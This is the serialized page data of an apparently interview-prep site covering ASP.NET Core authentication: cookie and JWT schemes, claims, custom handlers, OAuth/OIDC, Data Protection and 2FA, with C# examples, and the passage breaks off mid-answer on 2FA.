[{"data":1,"prerenderedAt":260},["ShallowReactive",2],{"topic-dotnet-security":3},{"framework":4,"topic":15,"subtopics":24},{"id":5,"description":6,"extension":7,"icon":8,"meta":9,"name":10,"order":11,"slug":8,"stem":12,"tier":13,"__hash__":14},"frameworks\u002Fframeworks\u002Fdotnet.yml",".NET Core interview questions on the CLR, C# language features, ASP.NET Core, dependency injection, Entity Framework, and deployment — the backbone of modern Microsoft-stack backend development.","yml","dotnet",{},".NET Core",7,"frameworks\u002Fdotnet",1,"_nP5kVwZOMUX9nd4gS5Ozj5Q6zQOEmGtLONE3ue01Gw",{"id":16,"description":17,"extension":7,"frameworkSlug":8,"meta":18,"name":19,"order":20,"slug":21,"stem":22,"__hash__":23},"topics\u002Ftopics\u002Fdotnet-security.yml","Authentication, authorization, and JWT security in ASP.NET Core — the security topics that almost every backend role tests and that break most often in real systems.",{},"Security",6,"security","topics\u002Fdotnet-security","99CFVt21wQ2zVkKtQFo2LP2JaXaVQFdcn3doaYbnlz0",[25,110,184],{"id":26,"title":27,"body":28,"description":32,"difficulty":35,"extension":36,"framework":10,"frameworkSlug":8,"meta":37,"navigation":38,"order":13,"path":39,"questions":40,"questionsCount":103,"related":104,"seo":105,"seoDescription":106,"stem":107,"subtopic":27,"topic":19,"topicSlug":21,"updated":108,"__hash__":109},"qa\u002Fdotnet\u002Fsecurity\u002Fauthentication.md","Authentication",{"type":29,"value":30,"toc":31},"minimark",[],{"title":32,"searchDepth":33,"depth":33,"links":34},"",2,[],"medium","md",{},true,"\u002Fdotnet\u002Fsecurity\u002Fauthentication",[41,46,50,54,58,62,67,71,75,79,83,87,91,95,99],{"id":42,"difficulty":43,"q":44,"a":45},"auth-vs-authz","easy","What is the difference between authentication and authorization in ASP.NET Core?","**Authentication** answers \"who are you?\" — it establishes the caller's identity.\n**Authorization** answers \"what are you allowed to do?\" — it checks whether the\nidentified caller has permission to perform an action.\n\n```csharp\n\u002F\u002F Authentication — establish identity (runs first, via middleware):\napp.UseAuthentication(); \u002F\u002F populates HttpContext.User from cookie\u002Ftoken\n\n\u002F\u002F Authorization — check permissions (runs second):\napp.UseAuthorization();  \u002F\u002F evaluates [Authorize] attributes \u002F policies\n\n\u002F\u002F Execution order matters — swapping them breaks auth entirely:\n\u002F\u002F app.UseAuthorization();  \u002F\u002F HttpContext.User is still anonymous here\n\u002F\u002F app.UseAuthentication();\n\n\u002F\u002F What each middleware does:\n\u002F\u002F UseAuthentication: calls IAuthenticationService.AuthenticateAsync on each request\n\u002F\u002F → reads a cookie \u002F Bearer token → populates HttpContext.User (ClaimsPrincipal)\n\u002F\u002F UseAuthorization:  evaluates [Authorize] attributes and policies against that User\n\u002F\u002F → 401 (unauthenticated) or 403 (authenticated but forbidden) if checks fail\n\n[Authorize]           \u002F\u002F requires authentication (401 if anonymous)\n[Authorize(Roles = \"Admin\")] \u002F\u002F requires authentication + role (403 if wrong role)\npublic class AdminController : ControllerBase { }\n```\n\nIn ASP.NET Core, these are separate middleware and separate concerns. A request can\nbe authenticated (identity known) but not authorized (insufficient permissions), which\nproduces HTTP 403, not 401.\n\n**Rule of thumb:** `UseAuthentication` before `UseAuthorization`, always. Authentication\nestablishes identity; authorization uses it.\n",{"id":47,"difficulty":43,"q":48,"a":49},"add-authentication","How do you configure authentication in an ASP.NET Core application?","Authentication is added in two steps: **register** services with `AddAuthentication`\nand **wire** the middleware with `UseAuthentication`.\n\n```csharp\n\u002F\u002F Program.cs — cookie authentication (simplest scheme):\nbuilder.Services\n    .AddAuthentication(CookieAuthenticationDefaults.AuthenticationScheme)\n    .AddCookie(options =>\n    {\n        options.LoginPath        = \"\u002Faccount\u002Flogin\";   \u002F\u002F redirect here when 401\n        options.AccessDeniedPath = \"\u002Faccount\u002Fdenied\";  \u002F\u002F redirect here when 403\n        options.ExpireTimeSpan   = TimeSpan.FromHours(8);\n        options.SlidingExpiration = true; \u002F\u002F reset expiry on each request\n    });\n\nvar app = builder.Build();\n\n\u002F\u002F Middleware pipeline (order is critical):\napp.UseRouting();\napp.UseAuthentication(); \u002F\u002F populate HttpContext.User\napp.UseAuthorization();  \u002F\u002F check permissions against that user\n\n\u002F\u002F Multiple schemes — default + JWT bearer:\nbuilder.Services\n    .AddAuthentication(options =>\n    {\n        options.DefaultAuthenticateScheme = CookieAuthenticationDefaults.AuthenticationScheme;\n        options.DefaultChallengeScheme    = JwtBearerDefaults.AuthenticationScheme;\n    })\n    .AddCookie()\n    .AddJwtBearer(options =>\n    {\n        options.Authority = \"https:\u002F\u002Fauth.example.com\";\n        options.Audience  = \"api1\";\n    });\n```\n\n**Rule of thumb:** Always call `AddAuthentication` before `AddAuthorization`, and\nalways place `UseAuthentication` before `UseAuthorization` in the pipeline. Missing\neither call silently leaves every request as anonymous.\n",{"id":51,"difficulty":43,"q":52,"a":53},"cookie-authentication","How does cookie authentication work in ASP.NET Core?","**Cookie authentication** serializes the user's `ClaimsPrincipal` into an encrypted,\ntamper-proof cookie. On subsequent requests, the middleware decrypts the cookie and\nrestores `HttpContext.User` — no database round-trip per request.\n\n```csharp\n\u002F\u002F Sign in — create the cookie:\n[HttpPost(\"login\")]\npublic async Task\u003CIActionResult> Login([FromBody] LoginDto dto)\n{\n    var user = await _userService.ValidateAsync(dto.Email, dto.Password);\n    if (user is null) return Unauthorized();\n\n    \u002F\u002F Build the claims the cookie will carry:\n    var claims = new List\u003CClaim>\n    {\n        new Claim(ClaimTypes.NameIdentifier, user.Id.ToString()),\n        new Claim(ClaimTypes.Email,           user.Email),\n        new Claim(ClaimTypes.Role,            user.Role),\n    };\n\n    var identity  = new ClaimsIdentity(claims, CookieAuthenticationDefaults.AuthenticationScheme);\n    var principal = new ClaimsPrincipal(identity);\n\n    \u002F\u002F Serialize + encrypt → Set-Cookie header:\n    await HttpContext.SignInAsync(\n        CookieAuthenticationDefaults.AuthenticationScheme,\n        principal,\n        new AuthenticationProperties\n        {\n            IsPersistent = dto.RememberMe,       \u002F\u002F survives browser close if true\n            ExpiresUtc   = DateTime.UtcNow.AddHours(8),\n        });\n\n    return Ok();\n}\n\n\u002F\u002F Sign out — delete the cookie:\n[HttpPost(\"logout\")]\npublic async Task\u003CIActionResult> Logout()\n{\n    await HttpContext.SignOutAsync(CookieAuthenticationDefaults.AuthenticationScheme);\n    return Ok();\n}\n\n\u002F\u002F The middleware restores the principal automatically on each request:\n\u002F\u002F Cookie header → decrypt → ClaimsPrincipal → HttpContext.User\n```\n\nThe cookie is encrypted with ASP.NET Core Data Protection. Rotating keys invalidates\nall existing sessions — plan key rotation carefully in production.\n\n**Rule of thumb:** Cookie auth is the right default for server-rendered web apps and\nSPAs in the same origin. For APIs consumed by mobile\u002Fcross-origin clients, use JWT bearer instead.\n",{"id":55,"difficulty":43,"q":56,"a":57},"claims-identity","What is claims-based identity and how does it work in .NET?","**Claims-based identity** represents a user as a set of name-value assertions\n(**claims**) rather than a binary \"logged in or not\". A `ClaimsPrincipal` contains one\nor more `ClaimsIdentity` objects, each holding a list of `Claim` instances.\n\n```csharp\n\u002F\u002F The three-layer model:\n\u002F\u002F Claim         — one assertion: (type, value, issuer)\n\u002F\u002F ClaimsIdentity — a collection of claims + the authentication scheme that created them\n\u002F\u002F ClaimsPrincipal — one or more identities (e.g., Windows + cookie at the same time)\n\n\u002F\u002F Reading claims from HttpContext.User (a ClaimsPrincipal):\nvar userId = User.FindFirstValue(ClaimTypes.NameIdentifier); \u002F\u002F \"42\"\nvar email  = User.FindFirstValue(ClaimTypes.Email);          \u002F\u002F \"alice@example.com\"\nvar roles  = User.FindAll(ClaimTypes.Role)\n                 .Select(c => c.Value)\n                 .ToList();                                   \u002F\u002F [\"Admin\", \"Editor\"]\n\n\u002F\u002F Boolean helpers:\nbool isAuth    = User.Identity?.IsAuthenticated ?? false;\nbool isAdmin   = User.IsInRole(\"Admin\");    \u002F\u002F checks ClaimTypes.Role claims\nstring? name   = User.Identity?.Name;       \u002F\u002F value of ClaimTypes.Name claim\n\n\u002F\u002F Well-known claim types (from System.Security.Claims):\n\u002F\u002F ClaimTypes.NameIdentifier — user's unique ID\n\u002F\u002F ClaimTypes.Email          — email address\n\u002F\u002F ClaimTypes.Name           — display name\n\u002F\u002F ClaimTypes.Role           — role membership\n\u002F\u002F ClaimTypes.DateOfBirth    — etc.\n\n\u002F\u002F Custom claims — any string key is valid:\nvar tenantId = User.FindFirstValue(\"tenant_id\"); \u002F\u002F app-specific claim\n```\n\n**Rule of thumb:** Prefer `ClaimTypes.*` constants over raw strings for standard\nclaims so your code stays compatible with token issuers that use the long URI forms.\nAdd custom claims sparingly — keep sensitive data out of cookies\u002Ftokens.\n",{"id":59,"difficulty":35,"q":60,"a":61},"authentication-schemes","What are authentication schemes and how do you configure multiple schemes?","An **authentication scheme** is a named configuration of an authentication handler —\nthe combination of a handler type and its options. Multiple schemes can coexist;\nthe default scheme is used when no scheme is explicitly specified.\n\n```csharp\nbuilder.Services\n    .AddAuthentication(options =>\n    {\n        \u002F\u002F Default scheme for all operations unless overridden:\n        options.DefaultScheme            = CookieAuthenticationDefaults.AuthenticationScheme;\n        \u002F\u002F Override per operation when you need different behavior:\n        options.DefaultChallengeScheme   = JwtBearerDefaults.AuthenticationScheme;\n        options.DefaultAuthenticateScheme = CookieAuthenticationDefaults.AuthenticationScheme;\n    })\n    .AddCookie(CookieAuthenticationDefaults.AuthenticationScheme) \u002F\u002F \"Cookies\"\n    .AddJwtBearer(JwtBearerDefaults.AuthenticationScheme)         \u002F\u002F \"Bearer\"\n    .AddGoogle(\"Google\", options =>                               \u002F\u002F custom name\n    {\n        options.ClientId     = config[\"Auth:Google:ClientId\"];\n        options.ClientSecret = config[\"Auth:Google:ClientSecret\"];\n    });\n\n\u002F\u002F Select a specific scheme on a controller or endpoint:\n[Authorize(AuthenticationSchemes = JwtBearerDefaults.AuthenticationScheme)]\n[ApiController]\npublic class ApiController : ControllerBase { }\n\n\u002F\u002F Or use a policy that specifies the scheme:\nbuilder.Services.AddAuthorizationBuilder()\n    .AddPolicy(\"ApiOnly\", policy =>\n        policy.AddAuthenticationSchemes(JwtBearerDefaults.AuthenticationScheme)\n              .RequireAuthenticatedUser());\n```\n\n**Rule of thumb:** Use the default scheme for the majority of your app. Only specify\nper-endpoint schemes for areas that genuinely use a different auth mechanism (e.g.,\nAPI endpoints using JWT while the admin UI uses cookies).\n",{"id":63,"difficulty":64,"q":65,"a":66},"custom-auth-handler","hard","How do you implement a custom authentication handler in ASP.NET Core?","Implement **`AuthenticationHandler\u003CTOptions>`** and register it with `AddScheme\u003C>`.\nThe framework calls `HandleAuthenticateAsync` on every request matching the scheme.\n\n```csharp\n\u002F\u002F Options — scheme configuration:\npublic class ApiKeyAuthOptions : AuthenticationSchemeOptions\n{\n    public string HeaderName { get; set; } = \"X-Api-Key\";\n}\n\n\u002F\u002F Handler — core logic:\npublic class ApiKeyAuthHandler : AuthenticationHandler\u003CApiKeyAuthOptions>\n{\n    private readonly IApiKeyStore _store;\n\n    public ApiKeyAuthHandler(\n        IOptionsMonitor\u003CApiKeyAuthOptions> options,\n        ILoggerFactory logger,\n        UrlEncoder encoder,\n        IApiKeyStore store)\n        : base(options, logger, encoder)\n    {\n        _store = store;\n    }\n\n    protected override async Task\u003CAuthenticateResult> HandleAuthenticateAsync()\n    {\n        if (!Request.Headers.TryGetValue(Options.HeaderName, out var keyValues))\n            return AuthenticateResult.NoResult(); \u002F\u002F scheme not applicable\n\n        var apiKey = keyValues.FirstOrDefault();\n        var client = await _store.FindByKeyAsync(apiKey);\n\n        if (client is null)\n            return AuthenticateResult.Fail(\"Invalid API key\");\n\n        var claims = new[]\n        {\n            new Claim(ClaimTypes.NameIdentifier, client.ClientId),\n            new Claim(ClaimTypes.Name,           client.Name),\n        };\n        var identity  = new ClaimsIdentity(claims, Scheme.Name);\n        var principal = new ClaimsPrincipal(identity);\n        var ticket    = new AuthenticationTicket(principal, Scheme.Name);\n\n        return AuthenticateResult.Success(ticket);\n    }\n\n    \u002F\u002F Challenge = 401 response when unauthenticated:\n    protected override Task HandleChallengeAsync(AuthenticationProperties properties)\n    {\n        Response.StatusCode  = 401;\n        Response.Headers.WWWAuthenticate = $\"ApiKey realm=\\\"api\\\", header=\\\"{Options.HeaderName}\\\"\";\n        return Task.CompletedTask;\n    }\n}\n\n\u002F\u002F Register the scheme:\nbuilder.Services\n    .AddAuthentication()\n    .AddScheme\u003CApiKeyAuthOptions, ApiKeyAuthHandler>(\"ApiKey\", options => { });\n```\n\n**Rule of thumb:** `AuthenticateResult.NoResult()` means \"this scheme doesn't apply\";\n`AuthenticateResult.Fail()` means \"this scheme applies but the credential is invalid\".\nThe distinction matters when multiple schemes are evaluated in order.\n",{"id":68,"difficulty":43,"q":69,"a":70},"sign-in-sign-out","How do SignInAsync and SignOutAsync work and what do they actually do?","**`SignInAsync`** calls the authentication scheme's handler to persist the principal\n(writing a cookie, issuing a token, etc.). **`SignOutAsync`** calls the handler to\nremove that persistence (clearing the cookie, revoking the session).\n\n```csharp\n\u002F\u002F SignInAsync — persists the ClaimsPrincipal using the specified scheme:\nawait HttpContext.SignInAsync(\n    scheme: CookieAuthenticationDefaults.AuthenticationScheme,\n    principal: new ClaimsPrincipal(identity),\n    properties: new AuthenticationProperties\n    {\n        IsPersistent  = true,                          \u002F\u002F survive browser close\n        ExpiresUtc    = DateTimeOffset.UtcNow.AddDays(30),\n        RedirectUri   = \"\u002Fdashboard\",                  \u002F\u002F post-login redirect\n        IssuedUtc     = DateTimeOffset.UtcNow,\n        AllowRefresh  = true,\n    });\n\u002F\u002F For cookies: sets an encrypted Set-Cookie header.\n\u002F\u002F For JWT: you would generate and return a token yourself — SignInAsync isn't used.\n\n\u002F\u002F SignOutAsync — removes the session for the specified scheme:\nawait HttpContext.SignOutAsync(CookieAuthenticationDefaults.AuthenticationScheme);\n\u002F\u002F For cookies: sets an expired Set-Cookie to clear the client cookie.\n\n\u002F\u002F AuthenticateAsync — reads\u002Fvalidates the current request's credential:\nvar result = await HttpContext.AuthenticateAsync();\nif (result.Succeeded)\n{\n    var user = result.Principal; \u002F\u002F ClaimsPrincipal\n}\n\u002F\u002F This is what UseAuthentication middleware calls automatically each request.\n\n\u002F\u002F ChallengeAsync — trigger 401 + redirect to login:\nawait HttpContext.ChallengeAsync();\n\n\u002F\u002F ForbidAsync — trigger 403 (authenticated but not allowed):\nawait HttpContext.ForbidAsync();\n```\n\n**Rule of thumb:** `SignInAsync` and `SignOutAsync` are handler-specific. For cookie\nauth they write\u002Fclear cookies. For JWT-based APIs, you generate tokens manually — there's\nno `SignInAsync` step on the server.\n",{"id":72,"difficulty":35,"q":73,"a":74},"challenge-vs-forbid","What is the difference between Challenge and Forbid in ASP.NET Core authentication?","**Challenge** (HTTP 401) means the request is unauthenticated — the caller's identity\nis unknown. **Forbid** (HTTP 403) means the request is authenticated but the caller\nlacks the required permission.\n\n```csharp\n\u002F\u002F The framework calls these automatically for [Authorize] failures:\n\u002F\u002F Anonymous user → 401 Challenge (redirect to login for cookies, WWW-Authenticate for API)\n\u002F\u002F Authenticated user without required role → 403 Forbid\n\n\u002F\u002F You can also trigger them manually in controllers:\npublic IActionResult GetAdminData()\n{\n    if (!User.Identity!.IsAuthenticated)\n        return Challenge(); \u002F\u002F 401 — please log in\n\n    if (!User.IsInRole(\"Admin\"))\n        return Forbid();    \u002F\u002F 403 — you're logged in but not an admin\n\n    return Ok(_adminService.GetData());\n}\n\n\u002F\u002F IActionResult vs HttpContext extension:\nreturn Challenge(JwtBearerDefaults.AuthenticationScheme); \u002F\u002F use specific scheme\nawait HttpContext.ChallengeAsync(JwtBearerDefaults.AuthenticationScheme);\n\n\u002F\u002F Cookie auth behavior:\n\u002F\u002F Challenge → 302 redirect to options.LoginPath (e.g., \u002Faccount\u002Flogin)\n\u002F\u002F Forbid    → 302 redirect to options.AccessDeniedPath (e.g., \u002Faccount\u002Fdenied)\n\n\u002F\u002F JWT bearer auth behavior:\n\u002F\u002F Challenge → 401 with WWW-Authenticate: Bearer header\n\u002F\u002F Forbid    → 403 with no redirect\n\n\u002F\u002F Custom override — if default scheme behavior doesn't suit you:\nbuilder.Services.AddAuthentication()\n    .AddCookie(options =>\n    {\n        options.Events.OnRedirectToLogin        = ctx => { ctx.Response.StatusCode = 401; return Task.CompletedTask; };\n        options.Events.OnRedirectToAccessDenied = ctx => { ctx.Response.StatusCode = 403; return Task.CompletedTask; };\n    });\n\u002F\u002F Useful for cookie auth serving an API — return status codes instead of redirects.\n```\n\n**Rule of thumb:** 401 means \"log in\"; 403 means \"you're logged in but you can't do that\".\nThe distinction matters for clients — a browser follows the 401 redirect; an API client\nshould not.\n",{"id":76,"difficulty":35,"q":77,"a":78},"claims-principal-population","How and when is HttpContext.User populated during a request?","`HttpContext.User` is populated by the **`UseAuthentication` middleware** early in the\npipeline. It calls `IAuthenticationService.AuthenticateAsync` using the default scheme,\nwhich reads the credential (cookie\u002Ftoken) from the request and returns a `ClaimsPrincipal`.\n\n```csharp\n\u002F\u002F Execution flow for every request:\n\u002F\u002F 1. UseAuthentication middleware fires\n\u002F\u002F 2. Calls AuthenticationService.AuthenticateAsync(defaultScheme)\n\u002F\u002F 3. Handler reads the credential (e.g., decrypts cookie, validates JWT)\n\u002F\u002F 4. Returns AuthenticateResult.Success(ticket) if valid\n\u002F\u002F 5. Middleware sets: HttpContext.User = ticket.Principal\n\u002F\u002F 6. If no valid credential: HttpContext.User = new ClaimsPrincipal() (anonymous)\n\n\u002F\u002F If UseAuthentication is missing, User is always anonymous:\n\u002F\u002F HttpContext.User.Identity.IsAuthenticated → false\n\u002F\u002F HttpContext.User.Identity.Name           → null\n\n\u002F\u002F Accessing User in a controller or Razor Page:\npublic class OrdersController : ControllerBase\n{\n    public IActionResult GetMyOrders()\n    {\n        var userId = User.FindFirstValue(ClaimTypes.NameIdentifier);\n        \u002F\u002F User is always populated (may be anonymous) — never null\n    }\n}\n\n\u002F\u002F Accessing User in minimal APIs:\napp.MapGet(\"\u002Forders\", (ClaimsPrincipal user) =>\n{\n    var userId = user.FindFirstValue(ClaimTypes.NameIdentifier);\n    return userId is null ? Results.Unauthorized() : Results.Ok();\n});\n\n\u002F\u002F Accessing User outside of request context (e.g., a service):\n\u002F\u002F Inject IHttpContextAccessor and access .HttpContext?.User\npublic class CurrentUserService\n{\n    private readonly IHttpContextAccessor _accessor;\n    public CurrentUserService(IHttpContextAccessor accessor) => _accessor = accessor;\n\n    public string? UserId => _accessor.HttpContext?.User\n        .FindFirstValue(ClaimTypes.NameIdentifier);\n}\n\u002F\u002F Register: builder.Services.AddHttpContextAccessor();\n```\n\n**Rule of thumb:** `HttpContext.User` is always a `ClaimsPrincipal` — never null. Check\n`IsAuthenticated` before reading claims. Avoid `IHttpContextAccessor` in domain services;\npass the user ID as a parameter instead.\n",{"id":80,"difficulty":35,"q":81,"a":82},"windows-auth","What is Windows Authentication and when would you use it in ASP.NET Core?","**Windows Authentication** uses the OS-level Kerberos\u002FNTLM protocol to authenticate\nusers against Active Directory. The browser negotiates credentials automatically on\ncorporate networks — no login form needed.\n\n```csharp\n\u002F\u002F Program.cs — enable Windows auth (Kestrel or IIS):\nbuilder.Services.AddAuthentication(NegotiateDefaults.AuthenticationScheme)\n    .AddNegotiate();\n\nbuilder.Services.AddAuthorization();\n\n\u002F\u002F launchSettings.json \u002F appsettings (for Kestrel):\n\u002F\u002F \"windowsAuthentication\": true, \"anonymousAuthentication\": false\n\n\u002F\u002F IIS: enable \"Windows Authentication\" in the IIS Authentication feature panel.\n\u002F\u002F Kestrel: install Microsoft.AspNetCore.Authentication.Negotiate NuGet package.\n\n\u002F\u002F Reading Windows identity claims:\n[Authorize]\npublic class ReportsController : ControllerBase\n{\n    public IActionResult GetReport()\n    {\n        var windowsUser = User.Identity?.Name;         \u002F\u002F \"DOMAIN\\\\alice\"\n        var isAdmin     = User.IsInRole(\"DOMAIN\\\\AdminGroup\"); \u002F\u002F AD group check\n        return Ok(windowsUser);\n    }\n}\n\n\u002F\u002F When to use it:\n\u002F\u002F Internal corporate line-of-business apps (intranet)\n\u002F\u002F Users are on the same AD domain as the server\n\u002F\u002F No-login-form requirement (seamless SSO experience)\n\u002F\u002F Public-facing apps (users aren't on the domain)\n\u002F\u002F Mobile\u002FAPI clients (no browser to negotiate NTLM\u002FKerberos)\n\u002F\u002F Docker\u002FLinux hosts (limited Kerberos support without workarounds)\n```\n\n**Rule of thumb:** Windows Authentication is the right default for internal enterprise\napps where all users are on the corporate domain. For public apps or REST APIs, use\ncookie auth or JWT instead.\n",{"id":84,"difficulty":35,"q":85,"a":86},"external-providers","How do you add external OAuth\u002FOIDC providers like Google or Microsoft to ASP.NET Core?","ASP.NET Core has built-in OAuth 2.0 and OpenID Connect handlers. Each provider is\nregistered as a named scheme; the framework handles the redirect dance, token exchange,\nand claim mapping automatically.\n\n```csharp\n\u002F\u002F Add NuGet: Microsoft.AspNetCore.Authentication.Google\nbuilder.Services\n    .AddAuthentication(CookieAuthenticationDefaults.AuthenticationScheme)\n    .AddCookie()         \u002F\u002F cookie to persist the identity after OAuth completes\n    .AddGoogle(options =>\n    {\n        options.ClientId     = config[\"Auth:Google:ClientId\"];\n        options.ClientSecret = config[\"Auth:Google:ClientSecret\"];\n        \u002F\u002F Map Google profile claims to standard ClaimTypes:\n        options.ClaimActions.MapJsonKey(ClaimTypes.Email,      \"email\");\n        options.ClaimActions.MapJsonKey(ClaimTypes.GivenName,  \"given_name\");\n        options.ClaimActions.MapJsonKey(\"picture\",             \"picture\");\n        \u002F\u002F Scopes to request:\n        options.Scope.Add(\"profile\");\n        options.Scope.Add(\"email\");\n    })\n    .AddMicrosoftAccount(options =>\n    {\n        options.ClientId     = config[\"Auth:Microsoft:ClientId\"];\n        options.ClientSecret = config[\"Auth:Microsoft:ClientSecret\"];\n    })\n    .AddOpenIdConnect(\"AzureAD\", options =>\n    {\n        options.Authority    = $\"https:\u002F\u002Flogin.microsoftonline.com\u002F{tenantId}\";\n        options.ClientId     = config[\"Auth:AzureAD:ClientId\"];\n        options.ClientSecret = config[\"Auth:AzureAD:ClientSecret\"];\n        options.ResponseType = OpenIdConnectResponseType.Code;\n    });\n\n\u002F\u002F Trigger login redirect from an endpoint:\n[HttpGet(\"login\u002Fgoogle\")]\npublic IActionResult LoginGoogle()\n    => Challenge(new AuthenticationProperties { RedirectUri = \"\u002F\" }, \"Google\");\n```\n\n**Rule of thumb:** Always pair external OAuth with a local cookie scheme. The OAuth scheme\nhandles the redirect; the cookie scheme persists the resulting identity so subsequent\nrequests don't re-trigger the OAuth flow.\n",{"id":88,"difficulty":35,"q":89,"a":90},"data-protection","What is ASP.NET Core Data Protection and how does it relate to authentication?","**Data Protection** is ASP.NET Core's key management and cryptographic API. Authentication\ncookies, antiforgery tokens, and the `IDataProtector` API all use it under the hood.\n\n```csharp\n\u002F\u002F Data Protection encrypts the cookie payload — the default is automatic:\n\u002F\u002F No explicit configuration needed for a single machine.\n\n\u002F\u002F For multi-machine deployments or persistence across restarts,\n\u002F\u002F configure a shared key store:\n\n\u002F\u002F Option 1 — persist keys to the file system (e.g., a shared network path):\nbuilder.Services.AddDataProtection()\n    .PersistKeysToFileSystem(new DirectoryInfo(\"\u002Fkeys\"))\n    .SetApplicationName(\"MyApp\");       \u002F\u002F required when multiple apps share the path\n\n\u002F\u002F Option 2 — persist keys to Azure Blob + protect with Azure Key Vault:\nbuilder.Services.AddDataProtection()\n    .PersistKeysToAzureBlobStorage(blobClient)\n    .ProtectKeysWithAzureKeyVault(keyVaultClient, keyIdentifier);\n\n\u002F\u002F Option 3 — persist to Redis (for containerized apps):\nbuilder.Services.AddDataProtection()\n    .PersistKeysToStackExchangeRedis(redis, \"DataProtection-Keys\");\n\n\u002F\u002F Direct use — encrypt\u002Fdecrypt arbitrary payloads:\nvar protector = dataProtectionProvider.CreateProtector(\"my-purpose\");\nstring ciphertext = protector.Protect(\"sensitive-value\");\nstring plaintext  = protector.Unprotect(ciphertext);\n\n\u002F\u002F Key rotation — old keys are kept for decryption but new keys are used for encryption:\n\u002F\u002F Existing cookies remain valid; new cookies use the new key automatically.\n```\n\n**Rule of thumb:** In production, always configure a shared, persistent key store for\nData Protection. Without it, every app restart or scale-out node generates new keys —\ninvalidating all existing sessions and antiforgery tokens.\n",{"id":92,"difficulty":43,"q":93,"a":94},"auth-in-minimal-api","How do you protect endpoints in minimal APIs with authentication?","Minimal API endpoints are protected with `RequireAuthorization()` or the\n`[Authorize]` attribute (when applied to the endpoint group). `AllowAnonymous()`\noverrides on specific routes.\n\n```csharp\nvar app = builder.Build();\n\n\u002F\u002F Protect a single endpoint:\napp.MapGet(\"\u002Fprofile\", (ClaimsPrincipal user) =>\n{\n    return Results.Ok(new { Name = user.Identity!.Name });\n}).RequireAuthorization();\n\n\u002F\u002F Protect a group of endpoints and open one:\nvar api = app.MapGroup(\"\u002Fapi\").RequireAuthorization();\n\napi.MapGet(\"\u002Forders\",   (IOrderService svc) => svc.GetAll());    \u002F\u002F protected\napi.MapPost(\"\u002Forders\",  (CreateOrderDto dto, IOrderService svc) => svc.Create(dto)); \u002F\u002F protected\napi.MapGet(\"\u002Fhealth\",   ()  => Results.Ok()).AllowAnonymous();   \u002F\u002F open\n\n\u002F\u002F Apply a named policy:\napp.MapDelete(\"\u002Forders\u002F{id:int}\", async (int id, IOrderService svc) =>\n{\n    await svc.DeleteAsync(id);\n    return Results.NoContent();\n}).RequireAuthorization(\"AdminOnly\");\n\n\u002F\u002F Access the current user — inject ClaimsPrincipal directly:\napp.MapGet(\"\u002Fme\", (ClaimsPrincipal user) =>\n    Results.Ok(new\n    {\n        Id    = user.FindFirstValue(ClaimTypes.NameIdentifier),\n        Email = user.FindFirstValue(ClaimTypes.Email),\n    })\n).RequireAuthorization();\n```\n\n**Rule of thumb:** Group related endpoints with `MapGroup` and call `RequireAuthorization`\nonce on the group. Only use `.AllowAnonymous()` on individual endpoints that explicitly need\nto be public.\n",{"id":96,"difficulty":35,"q":97,"a":98},"oidc-authentication","What is OpenID Connect and how does it differ from OAuth 2.0 in ASP.NET Core?","**OAuth 2.0** is an authorization framework — it grants access tokens so an app can\nact on a user's behalf. **OpenID Connect (OIDC)** is an identity layer built on top of\nOAuth 2.0 that adds an **ID token** containing the user's identity claims, enabling\ntrue authentication.\n\n```csharp\n\u002F\u002F OAuth 2.0 alone — grants an access token; tells you \"what\" but not \"who\":\n\u002F\u002F Access token: opaque credential to call an API on the user's behalf.\n\u002F\u002F You have to call the \u002Fuserinfo endpoint separately to get identity.\n\n\u002F\u002F OIDC — adds an ID token (a JWT) carrying the user's identity:\n\u002F\u002F ID token: { sub, name, email, iat, exp, iss, aud } — signed by the identity provider.\n\u002F\u002F Access token: still issued alongside for API calls.\n\u002F\u002F Refresh token: optional, for long-lived sessions.\n\n\u002F\u002F Configure OIDC in ASP.NET Core (works with any OIDC provider):\nbuilder.Services\n    .AddAuthentication(options =>\n    {\n        options.DefaultScheme          = CookieAuthenticationDefaults.AuthenticationScheme;\n        options.DefaultChallengeScheme = OpenIdConnectDefaults.AuthenticationScheme;\n    })\n    .AddCookie()\n    .AddOpenIdConnect(options =>\n    {\n        options.Authority     = \"https:\u002F\u002Flogin.microsoftonline.com\u002F{tenant-id}\u002Fv2.0\";\n        options.ClientId      = config[\"AzureAd:ClientId\"];\n        options.ClientSecret  = config[\"AzureAd:ClientSecret\"];\n        options.ResponseType  = OpenIdConnectResponseType.Code; \u002F\u002F authorization code flow\n        options.Scope.Add(\"openid\");\n        options.Scope.Add(\"profile\");\n        options.Scope.Add(\"email\");\n        options.SaveTokens    = true; \u002F\u002F persist access + refresh tokens in the cookie\n        options.CallbackPath  = \"\u002Fsignin-oidc\"; \u002F\u002F redirect URI registered with the provider\n        \u002F\u002F Map claims from the ID token to ClaimTypes:\n        options.ClaimActions.MapJsonKey(ClaimTypes.Email, \"email\");\n        options.ClaimActions.MapJsonKey(ClaimTypes.Name,  \"name\");\n    });\n\n\u002F\u002F After the flow completes, HttpContext.User is populated from the ID token.\n\u002F\u002F Access the saved access token later:\nvar accessToken = await HttpContext.GetTokenAsync(\"access_token\");\n```\n\n**Rule of thumb:** Use OAuth 2.0 when you need delegated API access. Use OIDC when you\nneed to know *who* the user is — it eliminates the need for a separate \u002Fuserinfo call\nand is the standard for federated login (Google, Microsoft, Okta, Auth0).\n",{"id":100,"difficulty":35,"q":101,"a":102},"two-factor-authentication","How do you implement two-factor authentication (2FA) with ASP.NET Core Identity?","ASP.NET Core Identity ships with built-in TOTP (time-based one-time password) 2FA.\nEnable it in Identity options, and the user must provide a TOTP code from an\nauthenticator app after their password.\n\n```csharp\n\u002F\u002F Register Identity with 2FA token provider:\nbuilder.Services\n    .AddIdentity\u003CApplicationUser, IdentityRole>(options =>\n    {\n        options.SignIn.RequireConfirmedAccount = true; \u002F\u002F require email confirmation\n    })\n    .AddEntityFrameworkStores\u003CAppDbContext>()\n    .AddDefaultTokenProviders(); \u002F\u002F includes TOTP provider\n\n\u002F\u002F Step 1 — enable 2FA for a user (generate QR code URI):\n[HttpPost(\"enable-2fa\")]\n[Authorize]\npublic async Task\u003CIActionResult> Enable2Fa()\n{\n    var user = await _userManager.GetUserAsync(User);\n    if (user is null) return NotFound();\n\n    \u002F\u002F Get the authenticator key (generate one if not set):\n    var unformattedKey = await _userManager.GetAuthenticatorKeyAsync(user);\n    if (string.IsNullOrEmpty(unformattedKey))\n    {\n        await _userManager.ResetAuthenticatorKeyAsync(user);\n        unformattedKey = await _userManager.GetAuthenticatorKeyAsync(user);\n    }\n\n    \u002F\u002F URI format for QR code scannable by Google Authenticator \u002F Authy:\n    var email    = 